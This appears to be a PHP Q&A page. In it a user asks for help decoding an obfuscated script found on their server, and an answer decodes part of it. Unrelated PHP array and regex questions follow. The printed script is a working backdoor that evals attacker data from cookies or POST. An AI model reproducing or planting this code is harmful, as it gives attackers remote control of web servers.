Decoding encrypted malicious script [closed] - php

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 3 years ago.
Improve this question
I found in my old application directory a script from 2017. It is clearly malicious, can anybody help decoding it? The important part is encoded in first string but I am not able to decode it using any online decoding tool. It probably creates an array of directories? And sets cookie for whatever reason. I am curious what was the purpose of it.
$zkvaoku='li94f*50\'rng-_2dmxcv8uo1k3Hpb#sae6yt';
$crsqpj=Array();
$crsqpj[]=$zkvaoku[26].$zkvaoku[5];
$crsqpj[]=$zkvaoku[29];
$crsqpj[]=$zkvaoku[7].$zkvaoku[2].$zkvaoku[4].$zkvaoku[14].$zkvaoku[25].$zkvaoku[33].$zkvaoku[2].$zkvaoku[7].$zkvaoku[12].$zkvaoku[15].$zkvaoku[23].$zkvaoku[33].$zkvaoku[33].$zkvaoku[12].$zkvaoku[3].$zkvaoku[4].$zkvaoku[3].$zkvaoku[20].$zkvaoku[12].$zkvaoku[31].$zkvaoku[20].$zkvaoku[2].$zkvaoku[18].$zkvaoku[12].$zkvaoku[6].$zkvaoku[18].$zkvaoku[3].$zkvaoku[7].$zkvaoku[32].$zkvaoku[7].$zkvaoku[20].$zkvaoku[7].$zkvaoku[20].$zkvaoku[33].$zkvaoku[7].$zkvaoku[28];
$crsqpj[]=$zkvaoku[18].$zkvaoku[22].$zkvaoku[21].$zkvaoku[10].$zkvaoku[35];
$crsqpj[]=$zkvaoku[30].$zkvaoku[35].$zkvaoku[9].$zkvaoku[13].$zkvaoku[9].$zkvaoku[32].$zkvaoku[27].$zkvaoku[32].$zkvaoku[31].$zkvaoku[35];
$crsqpj[]=$zkvaoku[32].$zkvaoku[17].$zkvaoku[27].$zkvaoku[0].$zkvaoku[22].$zkvaoku[15].$zkvaoku[32];
$crsqpj[]=$zkvaoku[30].$zkvaoku[21].$zkvaoku[28].$zkvaoku[30].$zkvaoku[35].$zkvaoku[9];
$crsqpj[]=$zkvaoku[31].$zkvaoku[9].$zkvaoku[9].$zkvaoku[31].$zkvaoku[34].$zkvaoku[13].$zkvaoku[16].$zkvaoku[32].$zkvaoku[9].$zkvaoku[11].$zkvaoku[32];
$crsqpj[]=$zkvaoku[30].$zkvaoku[35].$zkvaoku[9].$zkvaoku[0].$zkvaoku[32].$zkvaoku[10];
$crsqpj[]=$zkvaoku[27].$zkvaoku[31].$zkvaoku[18].$zkvaoku[24];
foreach($crsqpj[7]($_COOKIE,$_POST) as $qxmpsom=>$laqeud) {
function vlriqj($crsqpj,$qxmpsom,$lrkqaso) {
return $crsqpj[6]($crsqpj[4]($qxmpsom.$crsqpj[2],($lrkqaso/$crsqpj[8]($qxmpsom))+1),0,$lrkqaso);
}
function pajbr($crsqpj,$olzmly) {
return #$crsqpj[9]($crsqpj[0],$olzmly);
}
function pzdratz($crsqpj,$olzmly) {
$losvhfn=$crsqpj[3]($olzmly)%3;
if(!$losvhfn) {
eval($olzmly[1]($olzmly[2]));
exit();
}
}
$laqeud=pajbr($crsqpj,$laqeud);
pzdratz($crsqpj,$crsqpj[5]($crsqpj[1],$laqeud^ vlriqj($crsqpj,$qxmpsom,$crsqpj[8]($laqeud))));
}
How to find what kind of encoder is user in this string?
$zkvaoku='li94f*50\'rng-_2dmxcv8uo1k3Hpb#sae6yt';

The $zkvaoku string at the beginning of the script isn't encoded in any "traditional" encoding. If you look at the block of statements following it, up until the foreach loop, you'll see that it's used to dynamically construct an array of strings that are much more readable.
If you print the content of $crsqpj after this block, you'll see the following:
Array (
[0] => H*
[1] => #
[2] => 09f23690-d166-4f48-a89c-5c40e080860b
[3] => count
[4] => str_repeat
[5] => explode
[6] => substr
[7] => array_merge
[8] => strlen
[9] => pack
)
Now you can start seeing how these strings are used to dynamically call functions.

Related

Array in php formarting [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 2 years ago.
Improve this question
I’m having issues with an array in PHP. I create an array, it’s good, but in order to see it I use json_encode. See examples below.
Original array:
Array (
[0] => Array ( [0] => GCXO )
[1] => Array ( [0] => LEAS )
[2] => Array ( [0] => LECO )
)
I get this:
[["GCXO"],["LEAS"],["LECO"]]
I want this:
["GCXO", "LEAS", "LECO"]
The problem is that if I don’t use json_encode it returns the word array.
Does anyone knows how to get that result?
If the JSON shows [["GCXO"],["LEAS"],["LECO"]] then you have a multi-dimensional array and need to flatten it to get ["GCXO", "LEAS", "LECO"]:
echo json_encode(array_merge(...$array));
When you use json_encode, you are in fact converting the array to a JSON object, its not longer an "array".
If you only want to see the content of the array, you can use:
print_r($array)
or, you can format it as you like with a loop accessing it values with $array[iterator]
Also you can iterate trough it with foreach, giving it the format that you need.
foreach($array as $object){
echo ','.$object;
}
for example
use function implode(',', $array);
https://www.php.net/manual/en/function.implode.php

PHP Vertical String to Horizontal String [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 5 years ago.
Improve this question
i got the result my for loop :
FFFF
AAAA
TTTT
EEEE
while mod=4 my loop echo br
but i want result like this :
FATE
FATE
FATE
FATE
how i do this in php ?
thanks for answers and sorry my english:D
This is almost a duplicate of:
How to restructure multi-dimensional array with columns as rows? and
Combining array inside multidimensional array with same key
This can be done with foreach loops, but I like the condensed variadic method (PHP 5.6+).
You can research the aforementioned links to see the other techniques if your version isn't high enough or you want something different.
The strings just need to be converted to arrays before rotating, then imploded() after rotating.
Code: (Demo)
$input=['FFFF','AAAA','TTTT','EEEE'];
$rotated=array_map(function(){return implode(func_get_args());},...array_map('str_split',$input));
var_export($rotated);
Output:
array (
0 => 'FATE',
1 => 'FATE',
2 => 'FATE',
3 => 'FATE',
)
Here is a less fancy method to achieve the same result:
$input=['FFFF','AAAA','TTTT','EEEE'];
$length=strlen($input[0]);
foreach($input as $string){
for($offset=0; $offset<$length; ++$offset){
if(!isset($rotated[$offset])){$rotated[$offset]='';}
$rotated[$offset].=$string[$offset];
}
}
var_export($rotated);

PHP preg_match to retrieve text? [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 5 years ago.
Improve this question
I am not good with regular expressions, so I need a little bit of help.
I am trying to retrieve text like function inside a string like this:
$str_var = " i do not need this datavar(i need this), i do not need this datavar(and also this), and so on";
preg_match('#\((.*?)\)#', $str_var, $match);
print_r($match)
I would like to have:
arr value 1 = datavar(i need this)
arr value 2 = datavar(and also this)
So far I am able to retrieve the text inside "this is it" and "this is it 2" but I need to retrieve the function name and the content with the pharentesis as well like: "datavar(i need this)" and "datavar(and also this)"
Any ideas
This probably is what you are looking for if the words before the brackets are composed only of letters, as you confirmed in the comments to the question:
<?php
$subject = " i do not need this ineedthis(and also this), i do not need this ineedthistoo(and also this 2), and so on";
preg_match_all('#(\w+\([^)]+\))#', $subject, $matches);
print_r($matches);
The output of above code is:
Array
(
[0] => Array
(
[0] => ineedthis(and also this)
[1] => ineedthistoo(and also this 2)
)
[1] => Array
(
[0] => ineedthis(and also this)
[1] => ineedthistoo(and also this 2)
)
)
UPDATE:
If that word before the brackets is the fixed, literal string datavar, then you can simplify above code to:
<?php
$subject = " i do not need this ineedthis(and also this), i do not need this ineedthistoo(and also this 2), and so on";
preg_match_all('#(datavar\([^)]+\))#', $subject, $matches);
print_r($matches);
Depending on the exact conditions, you could use something like:
(\w+\([^)]+\))
or in php:
preg_match('(\w+\([^)]+\))', $str_var, $match);
That means a serie of word characters \w+ followed by a (, a number of characters that are not ) and finally the closing ).
See an example here.

Convert such this array into variables [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
I have such this array in PHP, How can i convert the one and two and three into variables for each one (i have just pasted first array of the items)?
Array
(
[encoding] => utf-8
[title] => arrays
[link] => arrays.com
[items] => Array
(
[0] => Array
(
[one] => this is one
[two] => arrays.com
[three] => This IS my array here
)
)
[items_count] => 100
[cached] => 0
)
You can use PHP's extract() function:
extract($array['items'][0]);
a realy simple way is the php function extract. It provides you the keys of an array as variables in your current scope.
In your case just write extract($array['items'][0]);
Now you can access the variables $one, $two and $three.
you can do this
list($one,$two,$tree) = $Your_Array['items'][0];

How to remove some part of text in the first index of php array [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 9 years ago.
Improve this question
This is my array in php
$a is my array
Array
(
[0] => class="date-display-single">24-Feb-2013
[2] => 11:35
[3] => AM
)
How do I remove class="date-display-single"> from array[0]?
Several ways... But the simplest one is to do:
$a[0] = str_replace('class="data-display-single">', '', $a[0]);
This simple statement should do exactly that:
$a[0] = substr($a[0], strpos($a[0], '>') + 1);
That said, it all depends on how you ended up with that array in the first place; it seems things can be fixed higher up in the code.
there you are:
$a[0] = str_replace('class="date-display-single">','',$a[0]);
but i would do it in the string, before you explode your date string. no in the array after
Check out unset()
You could try something like:
unset($a[0]);
Try this
str_replace('class="date-display-single">', '', $a[0]);

Categories